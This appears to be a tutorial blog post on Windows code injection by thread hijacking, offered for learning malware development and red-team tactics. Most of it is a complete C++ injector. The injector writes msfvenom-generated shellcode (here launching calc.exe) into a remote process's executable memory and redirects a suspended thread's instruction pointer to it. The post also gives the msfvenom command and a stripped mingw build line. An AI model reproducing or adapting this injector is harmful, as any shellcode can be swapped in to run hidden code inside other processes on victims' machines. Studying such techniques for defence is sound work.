💡 Summary:
This guide explains how to perform code injection in Windows using Thread Hijacking. You’ll learn how to inject shellcode into a remote process and redirect an existing thread’s execution to run that payload. We usemsfvenom
to generate shellcode and walk through the full C++ implementation using WinAPI. Great for learning malware development and red team tactics.
In this part we will see how one can perform Code Injection via Thread hijacking.
What is Thread Hijacking?
Normally, we inject our code or payload to current or remote process and then create a new thread to run that code or payload. But in Thread hijacking we take control of one of the program’s existing threads and make it run our code or payload.
Here we will inject a payload that runs calc.exe
command on CMD.
Code
//threadhijack.cpp
#include <stdio.h> // 1
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <tlhelp32.h>
unsigned char my_payload[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
"\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"; // 2
unsigned int my_payload_len = sizeof(my_payload); // 3
int findMyProc(const char *procname) { // 4
HANDLE hSnapshot;
PROCESSENTRY32 pe;
int pid = 0;
BOOL hResult;
// snapshot of all processes in the system
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hSnapshot) return 0;
// initializing size: needed for using Process32First
pe.dwSize = sizeof(PROCESSENTRY32);
// info about first process encountered in a system snapshot
hResult = Process32First(hSnapshot, &pe);
while (hResult) {
// if we find the process: return process ID
if (strcmp(procname, pe.szExeFile) == 0) {
pid = pe.th32ProcessID;
break;
}
hResult = Process32Next(hSnapshot, &pe);
}
// closes an open handle (CreateToolhelp32Snapshot)
CloseHandle(hSnapshot);
return pid;
}
int main(int argc, char* argv[]) { // 5
DWORD pid = 0; // process ID // 6
HANDLE ph; // process handle
HANDLE ht; // thread handle
LPVOID rb; // remote buffer
HANDLE hSnapshot;
THREADENTRY32 te;
CONTEXT ct;
pid = findMyProc(argv[1]); // 7
if (pid == 0) { // 8
printf("PID not found :( exiting...\n");
return -1;
} else {
printf("PID = %d\n", pid); // 9
ct.ContextFlags = CONTEXT_FULL; // 10
te.dwSize = sizeof(THREADENTRY32); // 11
ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, (DWORD)pid); // 12
if (ph == NULL) { // 13
printf("OpenProcess failed! exiting...\n");
return -2;
}
// allocate memory buffer for remote process
rb = VirtualAllocEx(ph, NULL, my_payload_len, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); // 14
// write payload to memory buffer
WriteProcessMemory(ph, rb, my_payload, my_payload_len, NULL); // 15
// find thread ID for hijacking
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, NULL); // 16
if (Thread32First(hSnapshot, &te)) { // 17
do {
if (pid == te.th32OwnerProcessID) {
ht = OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);
break;
}
} while (Thread32Next(hSnapshot, &te));
}
// suspend target thread
SuspendThread(ht); // 18
GetThreadContext(ht, &ct); // 19
// update register (RIP)
ct.Rip = (DWORD_PTR)rb; // 20
SetThreadContext(ht, &ct); // 21
ResumeThread(ht); // 22
CloseHandle(ph); // 23
}
return 0;
}
Explanation
- First, we will include the headers <stdio.h>, <stdlib.h>, <windows.h>, and tlhelp32.h.
- Generate a payload that runs
calc.exe
command in CMD using below command and pass it to unsigned character array,my_payload[]
.
Command:
msfvenom -p windows/x64/exec CMD=calc.exe -f c
- Calculate the size of payload created in Step 2 with the help of sizeof() function and store its value in a variable,
my_payload_len
. - Now we will use the function
findMyProc
we use in Finding PID via Snapshot to find the PID of process name. - main() function accepting command-line arguments.
- Declares variables for process/thread IDs, handles, memory buffer pointer, and thread context.
- Calling
findMyProc
function with first argumentargv[1]
. - If PID got in Step 7 is equal to
0
, the printPID not found :( exiting...\n
and return-1
. - If PID not equal to
0
then print PID found in Step 7 byfindMyProc()
function. - Setting
ContextFlags
of CONTEXT structure toCONTEXT_FULL
as it is required for SetThreadContext function to use. - Getting size of THREADENTRY32 structure and save it to
te.dwSize
. - Open a Handle to a target process(process passed in argument) with full access rights with OpenProcess function.
- If Opening the Process in Step 12 fails then exit the program.
- Allocates Memory inside the remote process with VirtualAllocEx function.
- Writes the shellcode into the remote memory buffer allocated in Step 14 with WriteProcessMemory function.
- Take a Snapshot of all threads by passing
TH32CS_SNAPTHREAD
flag in CreateToolhelp32Snapshot function. - Run a loop through threads got in Step 16 and look for one thread owned by the target process and open a Handle to the such first thread using Thread32First, OpenThread, Thread32Next functions.
- Once the handle to the thread is obtained, we suspend the thread using
SuspendThread
. This ensures the thread is paused, so we can safely modify its execution context (registers like RIP). - After suspending, we retrieve the current context (register states) of the thread using
GetThreadContext
. This function fills theCONTEXT
structure we initialized earlier with information about the thread’s CPU registers. - We modify the instruction pointer (RIP register) in the
CONTEXT
structure and set it to the address of our injected payload (rb
). This essentially changes the thread’s next instruction to the beginning of our shellcode. Now, when the thread resumes, it will start executing our payload. - We then apply this updated context to the thread using
SetThreadContext
. This commits the changes made in Step 20. - Now that the context is set, we resume the thread using
ResumeThread
. At this point, the hijacked thread will continue execution but instead of following its original flow, it will now execute our shellcode, which launchescalc.exe
. - Finally, we close the handle to the process to release resources and exit the program cleanly.
Compile and Run
Compile
x86_64-w64-mingw32-g++ -O2 threadhijack.cpp -o threadhijack.exe -mconsole -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive >/dev/null 2>&1
Run
.\threadhijack.exe
As we can see the Calculator is still working after closing victim process (notepad.exe).